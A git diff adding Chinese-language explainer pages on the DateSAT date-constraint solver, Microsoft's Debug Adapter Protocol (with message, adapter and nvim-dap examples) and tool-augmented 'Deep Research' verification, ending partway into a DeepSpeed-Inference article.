+def is_in_same_18m_window_2(base_date, event_date):
+    if event_date < base_date:
+        return False
+    window_end = base_date + relativedelta(months=18)
+    return event_date < window_end
+```
+
+这两个函数在随机测试中通过了上万次测试，但 DateSAT 在 **0.023 秒**内就找到了反例：
+
+- base_date = 2025-03-31
+- event_date = 2026-09-30
+
+方法二错误地返回了 False。因为 2025-03-31 + 18 个月 = 2026-09-31，但 9 月没有 31 号，被舍入到了 9 月 30 日——这恰好等于 event_date，所以 `event_date < window_end` 为 False。
+
+用 DateSAT 表达的约束如下：
+
+```
+base, event, window_end : Date
+elapsed_m, elapsed_m_adj: int
+result_1, result_2: bool
+
+base <= event
+
+elapsed_m == (event.year - base.year) * 12 + (event.month - base.month)
+((event.day < base.day) -> (elapsed_m_adj == elapsed_m - 1))
+((event.day >= base.day) -> (elapsed_m_adj == elapsed_m))
+result_1 == (elapsed_m_adj < 18)
+
+window_end == base + Period(0, 18, 0)
+result_2 == (event < window_end)
+
+result_1 != result_2   # 寻找反例！
+```
+
+求解器返回 SAT，说明确实存在反例。
+
+### 示例 2：法律合规检查
+
+美国税法中有这样的规定（IRC §338）：
+
+> 收购方必须在收购发生之月之后的第 9 个月的 15 日之前做出 §338(g) 选举。
+
+而"合格股票收购"的定义要求收购发生在"12 个月的收购期"内。
+
+问题是：**一家公司在首次购买目标股票 500 天后，还能做出 §338(g) 选举吗？**
+
+主流 AI 模型（GPT-5.2、Gemini 3、Claude Sonnet 4.5）都回答了"No"——因为 500 天远超过大约 8.5 个月的期限。但正确答案是 **"Yes"**。
+
+原因：首次购买可以在收购日前最多 12 个月发生。所以：
+
+- 首次购买：2024-01-12
+- 收购日：2024-12-21（在 12 个月窗口内）
+- 选举截止日：2025-08-15（收购日后第 9 个月的 15 日）
+- 选举日：2025-05-26（距离首次购买正好 500 天，且在截止日之前）
+
+用 DateSAT 表达的约束：
+
+```
+first_buy : Date
+acq_date : Date
+elec_ddl : Date
+elec_date : Date
+
+acq_date >= first_buy
+acq_date < first_buy + Period(0, 12, 0)
+
+elec_ddl.day == 15
+elec_ddl.year == (acq_date + Period(0, 8, 0)).year
+elec_ddl.month == (acq_date + Period(0, 8, 0)).month
+
+elec_date <= elec_ddl
+elec_date == first_buy + Period(0, 0, 500)
+```
+
+求解器找到了满足所有约束的赋值，证明了答案是"Yes"。
+
+## 六、实验结果
+
+论文构建了一个包含 450 个约束的基准测试集 DateSATBench，分为三类：
+
+| 来源 | 数量 | 求解成功率 | 中位耗时 |
+|------|------|-----------|---------|
+| LLM 合成 | 100 | ~87% | 0.10 秒 |
+| 语法采样 | 150 | ~63% | 4.69 秒 |
+| 法律文档挖掘 | 200 | ~97% | 0.13 秒 |
+
+关键发现：
+
+- 约束越复杂，编码策略的选择越重要
+- Alpha-Beta-Table 策略在复杂约束上表现最好
+- 平均而言，DateSAT 能在 1 分钟内解决超过 85% 的约束
+
+## 七、为什么这件事很重要
+
+DateSAT 的价值不在于解决脑筋急转弯，而在于它解决了一个长期被忽视的问题：**让形式化验证工具能够理解日期**。
+
+现有的程序验证和符号执行工具（比如用于检查代码是否正确、合同条款是否合规的工具）都不原生支持日期运算。这意味着：
+
+1. 你无法用工具自动证明一段日期处理代码没有 bug
+2. 你无法用符号执行来穷举日期相关的边界情况
+3. AI 模型在做法律文档分析时，对日期推理经常出错
+
+DateSAT 填补了这个空白。它可以被集成到程序验证器中，也可以作为 AI 工具的"外部知识源"——就像本文展示的，当 Claude Sonnet 4.5 通过 MCP 协议调用 DateSAT 求解器时，它就给出了正确的答案。
+
+开源地址：https://github.com/cmu-pasta/DateSAT
+
+## 八、小结
+
+DateSAT 做的事情可以用一句话概括：
+
+> 把日期运算翻译成整数约束，让 SMT 求解器来帮你找答案。
+
+它的核心洞察是：日期虽然看起来复杂（闰年、不同月份天数不同、不满足交换律），但本质上是可以被编码为数学公式的。一旦编码完成，现成的求解器就能高效地处理。
+
+这就像给计算机装了一个"日期大脑"——它不会搞混 2 月有几号，也不会搞错闰年的规则。
+
+## 九、思考题
+
+1. 如果让你设计一个"日期除法"操作（比如"从 2024-03-15 往前推 3 个相等的时段"），你觉得会遇到什么困难？
+2. DateSAT 只支持到 2100 年。如果要扩展到更远，会遇到什么新的挑战？（提示：格里高利历在每 100 年有一个例外——能被 100 整除但不能被 400 整除的年份不是闰年。）
diff --git a/src/content/docs/papers/debug-adapter-protocol.md b/src/content/docs/papers/debug-adapter-protocol.md
new file mode 100644
index 000000000..ccba555c1
--- /dev/null
+++ b/src/content/docs/papers/debug-adapter-protocol.md
@@ -0,0 +1,390 @@
+---
+title: Debug Adapter Protocol — 让编辑器共享同一套「调试遥控器」的通用协议
+来源: https://microsoft.github.io/debug-adapter-protocol/
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Debug Adapter Protocol（DAP，调试适配器协议）** 是 Microsoft 维护的一份开放规范（当前稳定版本 **1.71.0**），定义了**开发工具（客户端）** 与**调试后端（Debug Adapter）** 之间如何通过 **JSON 消息** 交换调试指令与状态。它与 2016 年发布的 **Language Server Protocol（LSP）** 是同一思路的姊妹协议：LSP 统一「补全/跳转/诊断」，DAP 统一「断点/单步/变量/调用栈」。
+
+日常类比：你去不同品牌的电视（Sony、Samsung、小米），每台遥控器按键布局都不一样——换台、音量、输入源各有一套。DAP 相当于**通用红外遥控协议**：VS Code、Neovim、JetBrains、Zed 都是「万能遥控器外壳」，Python Debugger、Delve（Go）、lldb-vscode、Java Debug Adapter 都是「被控的电视机」。遥控器只发标准指令（下一步、暂停、设断点），电视机内部的芯片怎么解码由各家自己实现；**写一次 Debug Adapter，所有支持 DAP 的编辑器都能调试**。
+
+技术定义：DAP 在 **Base Protocol**（带 `Content-Length` 头的帧格式，与 LSP 几乎相同）之上定义三类消息——**Request**（客户端 → 适配器，需回复）、**Response**（对 Request 的回复）、**Event**（适配器 → 客户端，异步通知，如 `stopped`、`terminated`）。规范不要求调试器原生支持 DAP；现实中几乎总是通过一个**中间层 Debug Adapter** 把 GDB、lldb、JDI、Delve API 等「方言」翻译成 DAP「普通话」。
+
+## 为什么重要
+
+不理解 DAP，下面这些事都没法解释：
+
+- 为什么 VS Code 里调试 Python、Go、Rust、Java 的 UI 长得几乎一样——底层都是同一套 DAP 客户端，不是每个语言重写一套调试面板
+- 为什么 Neovim 的 `nvim-dap` 能复用 VS Code 生态的 `debugpy`、`delve` 适配器——协议相同，只是客户端不同
+- 为什么新语言想接入主流 IDE，往往先写 **Debug Adapter** 而不是给每个编辑器写插件——适配器可跨工具复用
+- 为什么 DAP 刻意保持 **v1 永不破坏兼容**——靠 **Capabilities（能力标志）** 协商新特性，而不是升主版本号
+
+## 架构一览
+
+```
+┌─────────────────────────────────────────────────────────┐
+│  开发工具（DAP Client / Host）                            │
+│  VS Code · Neovim+nvim-dap · Cursor · JetBrains · Zed    │
+│  通用调试 UI：断点栏、变量树、调用栈、调试控制台、线程列表   │
+└───────────────────────────┬─────────────────────────────┘
+                            │ JSON Request / Response / Event
+                            │ 传输：stdio（常见）或 TCP socket
+┌───────────────────────────▼─────────────────────────────┐
+│  Debug Adapter（中间层）                                  │
+│  debugpy · delve/dap · lldb-vscode · Java Debug Adapter │
+│  把 DAP 命令映射到具体调试器 API                          │
+└───────────────────────────┬─────────────────────────────┘
+                            │ 原生调试接口
+┌───────────────────────────▼─────────────────────────────┐
+│  调试器 / Runtime                                         │
+│  GDB · lldb · JVM JDWP · Python sys.settrace · Delve …   │
+└─────────────────────────────────────────────────────────┘
+```
+
+**关键设计选择**：标准化的是 **wire protocol（线上协议）**，不是 C++/Java 的 client library。适配器可以用最适合该调试器的语言实现（Python 写 `debugpy`、Go 写 Delve DAP、Node.js 写 `@vscode/debugadapter`）。
+
+## 核心概念
+
+### 1. Base Protocol（传输 + 帧格式）
+
+与 LSP 一样，每条消息由 **ASCII 报文头** + **UTF-8 JSON body** 组成：
+
+```
+Content-Length: 119\r\n
+\r\n
+{"seq":153,"type":"request","command":"next","arguments":{"threadId":3}}
+```
+
+| 字段 | 含义 |
+|------|------|
+| `Content-Length` | body 字节数（必填，目前唯一支持的 header） |
+| `seq` | 单调递增序号，用于关联 request 与 response |
+| `type` | `request` / `response` / `event` |
+
+三种消息形态：
+
+| 类型 | 方向 | 需要回复？ | 典型例子 |
+|------|------|------------|----------|
+| Request | Client → Adapter | 是 | `initialize`, `launch`, `setBreakpoints`, `next` |
+| Response | Adapter → Client | — | `InitializeResponse`, `SetBreakpointsResponse` |
+| Event | Adapter → Client | 否 | `stopped`, `initialized`, `terminated`, `output` |
+
+### 2. Capabilities（能力协商）
+
+DAP 自诞生起一直是 **protocol version 1**，新功能通过 **capabilities 标志** 扩展，而不是 bump 主版本。会话开始时 Client 发 `initialize` request，双方交换各自支持的能力：
+
+- Client 侧：`supportsRunInTerminalRequest`、`supportsVariablePaging` 等（前缀常为 `supports`）
+- Adapter 侧：`supportsConditionalBreakpoints`、`supportsEvaluateForHovers`、`supportsStepBack` 等
+
+**规则**：某个 capability 字段**不存在** = 不支持；不必显式返回 `false`。
+
+### 3. 会话生命周期（Launch Sequencing）
+
+一次完整调试会话的典型顺序（规范强制部分步骤的先后关系）：
+
+```
+Client                          Debug Adapter
+  |                                   |
+  |-------- initialize -------------->|
+  |<------- InitializeResponse -------|  （交换 capabilities）
+  |                                   |
+  |-------- launch / attach --------->|  （启动或附着被调试程序）
+  |                                   |
+  |<------- initialized event --------|  （适配器：可以收断点配置了）
+  |-------- setBreakpoints ---------->|
+  |-------- setExceptionBreakpoints ->|
+  |-------- configurationDone ------->|
+  |<------- launch/attach Response ----|  （此时程序真正跑起来）
+  |                                   |
+  |<------- stopped event ------------|  （命中断点 / 异常 / 用户暂停）
+  |-------- threads ----------------->|
+  |-------- stackTrace -------------->|
+  |-------- scopes ------------------>|
+  |-------- variables --------------->|
+  |                                   |
+  |-------- continue / next --------->|
+  |                                   |
+  |-------- disconnect / terminate -->|
+  |<------- terminated event ---------|
+```
+
+两种启动模式：
+
+| 模式 | 谁启动被调试程序 | 典型 Request |
+|------|------------------|--------------|
+| **launch** | Debug Adapter 负责拉起进程 | `launch` + `program`/`args` 等（由扩展 schema 定义，规范不固定字段） |
+| **attach** | 用户先手动启动，Adapter 附着 | `attach` + `processId` 等 |
+
+**configurationDone** 是容易忽略的关键点：在 Adapter 发出 `initialized` event 之前，Client 不应发送断点配置；配置序列结束后发 `configurationDone`，Adapter 才应完成 `launch`/`attach` 的响应。
+
+### 4. 停止态与对象引用（Object References）
+
+程序暂停时，Client 按「瀑布」拉取调试状态：
+
+```
+threads → stackTrace → scopes → variables → variables（递归子字段）
+```
+
+`scopes`、`variables` 等复杂结构不直接嵌在父对象里，而是通过 **`variablesReference`（正整数句柄）** 延迟获取。规范约定：
+
+- 与**当前暂停态**绑定的引用（栈帧、作用域变量）在 **continue 之后失效**；Adapter 可在恢复执行时把引用计数器重置为 1
+- `evaluate`、调试控制台 `output` 事件里的变量引用应尽可能**跨暂停态保留**，方便用户事后检查
+
+`threadId` 等标识符**没有**这种短生命周期限制，否则 `pause` 请求无法作用于运行中的线程。
+
+### 5. 断点语义
+
+`setBreakpoints` 对**单个源文件**发送**全量**断点列表（非增量）。Adapter 通常实现为：清空该文件旧断点 → 设置 request 中的新列表 → 在 response 里返回**实际生效**的断点（位置可能被调试器微调）。
+
+若暂时无法验证断点，应设 `verified: false`；之后状态变化用 **`breakpoint` event** 通知 Client 更新 UI。
+
+### 6. 连接模式
+
+| 模式 | 说明 |
+|------|------|
+| **Single Session** | Client 把 Adapter 当子进程拉起，经 **stdin/stdout** 通信；会话结束终止进程；多会话 = 多个 Adapter 进程 |
+| **Multi Session** | Adapter 常驻监听端口；每个调试会话建立独立 TCP 连接 |
+
+Adapter 如何被启动**不在** DAP 规范内，由各工具的 `launch.json` / `dap.configurations` 等扩展机制约定。
+
+## 代码示例
+
+### 示例 1：手工构造一条 DAP `setBreakpoints` 消息
+
+下面展示 Base Protocol 帧 + JSON body，等价于在 `main.go` 第 10 行设一个断点（Go 适配器常见场景）：
+
+```text
+Content-Length: 287
+
+{
+  "seq": 4,
+  "type": "request",
+  "command": "setBreakpoints",
+  "arguments": {
+    "source": {
+      "path": "/home/dev/project/main.go",
+      "name": "main.go"
+    },
+    "lines": [10],
+    "breakpoints": [
+      {
+        "line": 10,
+        "condition": "err != nil"
+      }
+    ],
+    "sourceModified": false
+  }
+}
+```
+
+Adapter 的 `SetBreakpointsResponse` 可能返回：
+
+```json
+{
+  "seq": 5,
+  "type": "response",
+  "request_seq": 4,
+  "success": true,
+  "command": "setBreakpoints",
+  "body": {
+    "breakpoints": [
+      {
+        "id": 1,
+        "verified": true,
+        "line": 10,
+        "message": ""
+      }
+    ]
+  }
+}
+```
+
+若第 10 行不可设断点（如无调试信息），则 `verified: false`，`message` 解释原因。
+
+### 示例 2：用 Node.js `@vscode/debugadapter` 实现最小适配器骨架
+
+Microsoft 官方提供多语言 SDK。Node.js 侧可用 `DebugSession` 子类快速搭一个「回声」适配器，演示 Request/Event 处理：
+
+```typescript
+import {
+  DebugSession,
+  InitializedEvent,
+  TerminatedEvent,
+  StoppedEvent,
+  OutputEvent,
+  Thread,
+} from '@vscode/debugadapter';
+
+class MinimalDebugSession extends DebugSession {
+  private static threadId = 1;
+
+  protected initializeRequest(
+    response: DebugProtocol.InitializeResponse,
+    args: DebugProtocol.InitializeRequestArguments
+  ): void {
+    response.body = response.body || {};
+    response.body.supportsConfigurationDoneRequest = true;
+    response.body.supportsEvaluateForHovers = true;
+    this.sendResponse(response);
+    this.sendEvent(new InitializedEvent());
+  }
+
+  protected configurationDoneRequest(
+    response: DebugProtocol.ConfigurationDoneResponse
+  ): void {
+    this.sendResponse(response);
+  }
+
+  protected launchRequest(
+    response: DebugProtocol.LaunchResponse,
+    args: DebugProtocol.LaunchRequestArguments
+  ): void {
+    this.sendResponse(response);
+    this.sendEvent(new OutputEvent('Program started\n', 'stdout'));
+    // 模拟立即在入口停住
+    this.sendEvent(
+      new StoppedEvent('entry', MinimalDebugSession.threadId)
+    );
+  }
+
+  protected threadsRequest(response: DebugProtocol.ThreadsResponse): void {
+    response.body = {
+      threads: [new Thread(MinimalDebugSession.threadId, 'main')],
+    };
+    this.sendResponse(response);
+  }
+
+  protected disconnectRequest(
+    response: DebugProtocol.DisconnectResponse,
+    args: DebugProtocol.DisconnectArguments
+  ): void {
+    this.sendResponse(response);
+    this.sendEvent(new TerminatedEvent());
+  }
+}
+
+MinimalDebugSession.run(MinimalDebugSession);
+```
+
+配合 VS Code `launch.json`：
+
+```json
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "type": "minimal",
+      "request": "launch",
+      "name": "Launch Minimal Adapter",
+      "program": "${workspaceFolder}/dummy"
+    }
+  ]
+}
+```
+
+`type: "minimal"` 由扩展注册，指向上述 Adapter 可执行文件；Client 仍按标准顺序发 `initialize` → `launch` → 等 `initialized` → `configurationDone`。
+
+### 示例 3：Neovim `nvim-dap` 客户端配置（消费方视角）
+
+作为 DAP Client，Neovim 不实现调试器，只发标准 Request。调试 Go 时典型配置：
+
+```lua
+local dap = require('dap')
+
+dap.adapters.delve = {
+  type = 'server',
+  port = '${port}',
+  executable = {
+    command = 'dlv',
+    args = { 'dap', '--listen', '127.0.0.1:${port}', '--log', '--log-output=dap' },
+  },
+}
+
+dap.configurations.go = {
+  {
+    type = 'delve',
+    name = 'Debug main',
+    request = 'launch',
+    program = '${workspaceFolder}',
+    dlvLoadConfig = {
+      followPointers = true,
+      maxVariableRecurse = 1,
+      maxStringLen = 64,
+      maxArrayValues = 64,
+      maxStructFields = -1,
+    },
+  },
+}
+```
+
+用户在 Neovim 里按 F5，`nvim-dap` 在后台完成：`initialize` → `launch` → 断点同步 → `continue` → 处理 `stopped` event → 拉 `stackTrace`/`variables`。**同一份 Delve DAP 适配器**也可被 VS Code Go 扩展使用。
+
+## 与 LSP 的对比
+
+| 维度 | LSP | DAP |
+|------|-----|-----|
+| 解决的问题 | 编辑期「语言智能」 | 运行期「交互式调试」 |
+| 消息载体 | JSON-RPC 2.0（`method`/`id`） | 自定义 JSON（`command`/`seq`） |
+| 传输帧 | `Content-Length` + JSON | 相同 |
+| 中间层名称 | Language Server | Debug Adapter |
+| 版本策略 | 显式 LSP 3.x 版本 | 永久 v1 + capabilities 标志 |
+| 典型 Client | 编辑器代码补全 | 断点、单步、变量、REPL |
+
+两者常成对出现：Rust 用 `rust-analyzer`（LSP）+ `lldb-vscode`/`codelldb`（DAP）；Python 用 Pylance/Pyright（LSP）+ `debugpy`（DAP）。
+
+## 常见 Request / Event 速查
+
+| 名称 | 类型 | 作用 |
+|------|------|------|
+| `initialize` | Request | 交换 capabilities，会话第一步 |
+| `launch` / `attach` | Request | 启动或附着被调试程序 |
+| `configurationDone` | Request | 告诉 Adapter 断点配置已发完 |
+| `setBreakpoints` | Request | 某源文件的全量断点 |
+| `continue` / `next` / `stepIn` / `stepOut` | Request | 执行控制 |
+| `threads` / `stackTrace` / `scopes` / `variables` | Request | 暂停态信息瀑布 |
+| `evaluate` | Request | 调试控制台求值 / hover |
+| `disconnect` / `terminate` | Request | 结束会话（attach vs launch 语义不同） |
+| `initialized` | Event | Adapter 准备好接收断点配置 |
+| `stopped` | Event | 程序暂停，带 `reason`（breakpoint、exception、pause…） |
+| `output` | Event | 被调试程序 stdout/stderr 到调试控制台 |
+| `terminated` | Event | 调试会话结束 |
+
+## 实现与生态
+
+规范页列出了大量现成适配器：**debugpy**（Python）、**Delve DAP**（Go）、**Java Debug Adapter**、**lldb-vscode**、**Mono/Debugger**、**perl-debug-adapter** 等。SDK 包括：
+
+- **Node.js**：[`@vscode/debugadapter`](https://www.npmjs.com/package/@vscode/debugadapter) + [`@vscode/debugadapter-testsupport`](https://www.npmjs.com/package/@vscode/debugadapter-testsupport)
+- **Java**：[Eclipse LSP4J Debug](https://github.com/eclipse-lsp4j/lsp4j) 等
+- **测试**：官方 [debug adapter test suite](https://github.com/microsoft/debug-adapter-protocol/tree/main/test-suite) 可验证适配器合规性
+
+若你要为新语言添加调试支持，推荐路径：
+
+1. 先用现有 CLI 调试器验证能设断点、单步、看变量
+2. 实现薄层 Debug Adapter，优先支持 `initialize`、`launch`、`setBreakpoints`、`configurationDone`、`continue`、`threads`、`stackTrace`、`scopes`、`variables`、`stopped`/`terminated`
+3. 用 VS Code 或 `nvim-dap` 做手工测试，再跑官方 test suite
+4. 按需声明 capabilities，逐步加条件断点、`evaluate`、多线程、`runInTerminal` 等
+
+## 常见误区
+
+1. **把 DAP 当成调试器本身** — DAP 只是 UI 与调试后端之间的协议；GDB、lldb、JDWP 才是实际执行调试的机制
+2. **在 `initialized` 之前发 `setBreakpoints`** — 违反时序，部分 Adapter 会丢断点或行为未定义
+3. **假设 `variablesReference` 跨 continue 仍有效** — 暂停态引用在恢复执行后失效，Client 必须重新拉取
+4. **认为 `launch` 的参数由规范统一** — `program`、`cwd`、`env` 等由各家 Adapter 的 JSON Schema 定义（通常通过 VS Code `contributes.debuggers` 贡献）
+5. **忽略 `verified: false` 断点** — UI 应明确提示灰显断点，而不是假装已生效
+
+## 延伸阅读
+
+- [DAP 官方规范 1.71.0](https://microsoft.github.io/debug-adapter-protocol/specification) — 全部 Request/Event 的 JSON Schema
+- [Overview（架构与生命周期）](https://microsoft.github.io/debug-adapter-protocol/overview) — 官方序列图与对象生命周期说明
+- [Language Server Protocol 笔记](./language-server-protocol-spec.md) — 姊妹协议，对比阅读效果更好
+- [VS Code Debugger Extension 指南](https://code.visualstudio.com/api/extension-guides/debugger-extension) — 如何注册 `type`、写 `launch.json` schema、打包 Adapter
+- [nvim-dap 文档](https://github.com/mfussenegger/nvim-dap) — 非 VS Code 客户端实现参考
+
+---
+
+**一句话总结**：DAP 是编辑器和调试器之间的「通用遥控协议」——编辑器只实现一次调试 UI，调试器通过 Adapter 说同一种 JSON 语言；理解 **capabilities 协商**、**launch 时序** 和 **暂停态对象引用**，就掌握了现代 IDE 调试体验的核心骨架。
diff --git a/src/content/docs/papers/deep-research-harness-2026.md b/src/content/docs/papers/deep-research-harness-2026.md
new file mode 100644
index 000000000..4649a8ad2
--- /dev/null
+++ b/src/content/docs/papers/deep-research-harness-2026.md
@@ -0,0 +1,254 @@
+---
+title: "Deep Research as Tool-Augmented Multi-Step Verification"
+来源: https://arxiv.org/abs/2605.31102
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Deep Research as Tool-Augmented Multi-Step Verification
+
+## 一、一句话理解
+
+Deep Research = 让 AI 像侦探一样，不靠"猜"，而靠"反复查证"来回答问题。
+
+## 二、日常类比：做菜 vs. 做研究
+
+想象你要做一道从没做过的菜：
+
+**传统 AI（像聊天机器人）的做法：**
+- 你问："怎么做提拉米苏？"
+- AI 凭记忆直接给你配方
+- 如果它的记忆有误（比如忘了加马斯卡彭奶酪），你就得到一道失败品
+
+**Deep Research 的做法：**
+- 你先让 AI 去查 3 本权威食谱网站
+- 再让它对比这 3 份配方的差异
+- 然后去论坛看真实食客的反馈
+- 最后综合所有信息，给出一个经过交叉验证的答案
+
+关键区别：**不是一次性生成答案，而是多步、多源、反复验证。**
+
+## 三、核心概念拆解
+
+### 3.1 什么是 "Tool-Augmented"（工具增强）
+
+LLM（大语言模型）本身像一个"博学的书呆子"——它读过很多书，但不会动手。
+
+Tool-Augmented 就是给它配上工具：
+
+| 工具 | 类比 | 作用 |
+|------|------|------|
+| 搜索引擎 | 翻字典 | 获取最新信息 |
+| 代码执行器 | 计算器 | 精确计算、数据处理 |
+| 数据库查询 | 查档案 | 获取结构化数据 |
+| 浏览器 | 逛图书馆 | 访问网页、提取内容 |
+
+没有工具的 LLM：靠内部记忆回答（可能过时、可能编造）
+有工具的 LLM：实时去"外面"查证（更准确、可追溯）
+
+### 3.2 什么是 "Multi-Step Verification"（多步验证）
+
+这是整个方法的核心。传统 AI 的回答流程是：
+
+```
+用户提问 → LLM 生成答案 → 结束
+```
+
+Deep Research 的流程是：
+
+```
+用户提问
+  → Step 1: 分解问题（拆成子问题）
+  → Step 2: 对每个子问题选择工具并执行
+  → Step 3: 收集结果，评估质量
+  → Step 4: 发现矛盾或缺口？回到 Step 2 补查
+  → Step 5: 交叉验证不同来源的信息
+  → Step 6: 生成最终答案 + 引用来源
+```
+
+每一步都可以被检查、被质疑、被修正。这就是"多步验证"。
+
+## 四、为什么需要多步验证？
+
+LLM 有一个著名的问题叫 **幻觉（Hallucination）**——它会一本正经地胡说八道。
+
+举个真实的例子：
+
+> 问："2024 年奥运会金牌榜第一名是哪个国家？"
+>
+> 没有验证的 LLM 可能回答："美国，因为它是体育强国。"
+> （实际上美国确实是第一，但这是猜的，不是查的）
+>
+> 经过验证的 LLM 会：
+> 1. 用搜索引擎查 IOC 官网
+> 2. 用代码执行器统计各国家金牌数
+> 3. 交叉比对维基百科数据
+> 4. 确认一致后给出答案 + 引用
+
+多步验证的本质：**用工具的输出替代模型的猜测。**
+
+## 五、代码示例
+
+### 示例 1：简单的事实验证流程
+
+下面是一个简化的伪代码，展示"单步工具调用 + 验证"的逻辑：
+
+```python
+# ============================================================
+# 示例 1：事实验证 —— 用工具查数据，而不是靠模型猜
+# ============================================================
+
+def verify_fact(question, tools):
+    """
+    基本验证流程：
+    - 根据问题选择工具
+    - 执行查询
+    - 返回带来源的答案
+    """
+
+    # 第一步：分析问题需要什么类型的工具
+    tool_choice = select_tool(question, tools)
+    # 例如：如果问题是"XX 公司的 CEO 是谁" → 选搜索引擎
+
+    # 第二步：执行工具调用
+    raw_result = tool_choice.execute(question)
+    # 例如：搜索引擎返回多个网页片段
+
+    # 第三步：提取关键信息
+    extracted_info = extract_facts(raw_result)
+    # 例如：从搜索结果中提取"CEO = Sam Altman"
+
+    # 第四步：交叉验证 —— 用第二个工具确认
+    if len(extracted_info) > 0:
+        confirmation = tools["secondary_source"].execute(
+            extracted_info.key_entity
+        )
+        is_consistent = check_consistency(extracted_info, confirmation)
+    else:
+        is_consistent = False
+
+    # 第五步：生成最终答案
+    if is_consistent:
+        return {
+            "answer": extracted_info.claim,
+            "confidence": "high",
+            "sources": [raw_result.source, confirmation.source]
+        }
+    else:
+        return {
+            "answer": "无法确认，信息存在矛盾",
+            "confidence": "low",
+            "sources": []
+        }
+```
+
+**逐行解释：**
+
+第 10 行的 `select_tool` 就像你决定"这个问题该查字典还是该上网搜"。不同的问题适合不同的工具。
+
+第 14 行的 `execute` 是真正干活的地方——它不是让 LLM 回忆，而是真的去执行一次搜索或查询。
+
+第 24-28 行的交叉验证是关键：用一个独立来源去确认第一个来源的结果。两个来源都说一样的话，可信度就高。
+
+### 示例 2：多步递归验证
+
+对于复杂问题，可能需要反复查证。下面展示"多步验证循环"：
+
+```python
+# ============================================================
+# 示例 2：多步递归验证 —— 发现矛盾时自动补查
+# ============================================================
+
+def deep_research(question, max_steps=5):
+    """
+    深度研究循环：
+    - 分解问题为子任务
+    - 对每个子任务执行工具调用
+    - 如果证据不足或有矛盾，自动追加查询
+    - 达到最大步数或证据充分时停止
+    """
+
+    # 初始状态：只有一个待验证的问题
+    evidence_graph = EvidenceGraph()
+    pending_queries = [question]
+    step = 0
+
+    while pending_queries and step < max_steps:
+        # 取出一个待验证的子问题
+        current_query = pending_queries.pop(0)
+
+        # 执行工具调用获取证据
+        results = execute_research_cycle(current_query)
+        # 返回: [{claim, source, confidence}, ...]
+
+        # 将结果加入证据图
+        evidence_graph.add_results(results)
+
+        # 检查是否有矛盾或证据不足的节点
+        contradictions = evidence_graph.find_contradictions()
+        gaps = evidence_graph.find_gaps()
+
+        # 如果有矛盾或空白，生成新的子查询继续验证
+        for contradiction in contradictions:
+            # 针对矛盾点生成"仲裁查询"
+            arbiter_query = generate_arbiter_query(contradiction)
+            pending_queries.append(arbiter_query)
+
+        for gap in gaps:
+            # 针对空白生成"补充查询"
+            follow_up_query = generate_follow_up_query(gap)
+            pending_queries.append(follow_up_query)
+
+        step += 1
+
+    # 所有查询耗尽或达到上限，生成最终报告
+    return evidence_graph.generate_report()
+```
+
+**关键逻辑解释：**
+
+第 20 行的 `EvidenceGraph` 像一个知识图谱，记录所有找到的证据及其来源。你可以把它想象成一个白板，上面贴着所有查到的资料，用不同颜色的便签标注"已确认"或"有矛盾"。
+
+第 30-35 行的 `find_contradictions` 和 `find_gaps` 是智能判断部分：它会分析当前证据，找出哪些地方说法不一、哪些地方缺少支撑。
+
+第 38-46 行是"自动补查"机制：一旦发现矛盾或空白，系统会自动生成新的查询去解决这些问题，而不需要人工干预。这就是为什么叫"多步"——它不是走一步算一步，而是自己决定下一步怎么走。
+
+## 六、与传统 RAG 的区别
+
+很多人会把 Deep Research 和 RAG（检索增强生成）混淆。它们有关系，但不一样：
+
+| 维度 | RAG | Deep Research |
+|------|-----|---------------|
+| 检索次数 | 通常一次 | 多次、迭代 |
+| 验证机制 | 无 | 有，交叉验证 |
+| 矛盾处理 | 不处理 | 自动生成仲裁查询 |
+| 输出形式 | 一段文字 | 带证据链的报告 |
+| 适用场景 | 简单问答 | 复杂研究任务 |
+
+简单说：**RAG 是一次性"查一下再答"，Deep Research 是"查了再查，查到满意为止"。**
+
+## 七、实际应用场景
+
+1. **学术文献综述**：自动搜索论文、提取结论、对比不同研究的发现
+2. **投资尽职调查**：交叉验证公司财务数据、行业趋势、竞争对手信息
+3. **新闻事实核查**：对热点事件的多源报道进行交叉比对
+4. **法律案例研究**：检索相关判例、法规，验证法律推理的完整性
+
+## 八、学习要点回顾
+
+1. **Tool-Augmented** = LLM 不再是"闭门造车"，而是用工具实时获取信息
+2. **Multi-Step Verification** = 答案不是一次生成的，而是通过多轮查询、交叉验证逐步构建的
+3. **核心优势** = 减少幻觉、提高准确性、提供可追溯的证据链
+4. **与 RAG 的关系** = Deep Research 是 RAG 的进阶版，多了迭代验证和矛盾处理
+
+## 九、延伸思考
+
+当你下次使用 AI 助手时，可以观察它的回答：
+
+- 它是一次性给出的答案，还是经过了某种验证？
+- 它引用了信息来源吗？
+- 如果它说的内容和你知道的不一样，你能判断哪个更可信吗？
+
+Deep Research 的目标，就是让 AI 的回答从"我觉得"变成"我查了，证据如下"。
diff --git a/src/content/docs/papers/deepspeed-inference-2022.md b/src/content/docs/papers/deepspeed-inference-2022.md
new file mode 100644
index 000000000..9effec340
--- /dev/null
+++ b/src/content/docs/papers/deepspeed-inference-2022.md
@@ -0,0 +1,184 @@
+---
+title: DeepSpeed-Inference: Enabling Efficient Inference of Transformer Models at Unprecedented Scale
+来源: https://arxiv.org/abs/2207.00032
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# DeepSpeed Inference：让 Transformer 推理快得离谱
+
+## 一、从"大模型太慢"说起
+
+你训练了一个巨大的 Transformer 模型——比如 1750 亿参数的 GPT-3。训练完了，高兴了。然后你想用它来回答问题（这叫"推理"），结果发现：
+
+- 模型太大，一张 GPU 的显存根本装不下
+- 就算装得下，每次回答一个问题都要等好几秒
+- 如果一千个人同时问，GPU 直接爆掉
+
+这就是 2022 年微软研究院这篇论文要解决的核心问题：**怎么让超大 Transformer 模型推理又快又省？**
+
+日常类比：想象一个图书馆管理员，他脑子里装着整座图书馆的书（模型参数）。你问他一个问题，他得从脑子里翻出相关章节来回答。如果图书馆太大了，他的脑子不够用，怎么办？DeepSpeed Inference 的做法是：把书分一部分放到书架上（CPU 内存），再分一部分放到隔壁房间（NVMe 硬盘），同时雇好几个管理员一起翻书（多 GPU 并行）。
+
+## 二、Transformer 推理为什么慢？
+
+先搞明白瓶颈在哪。Transformer 推理有两个主要阶段：
+
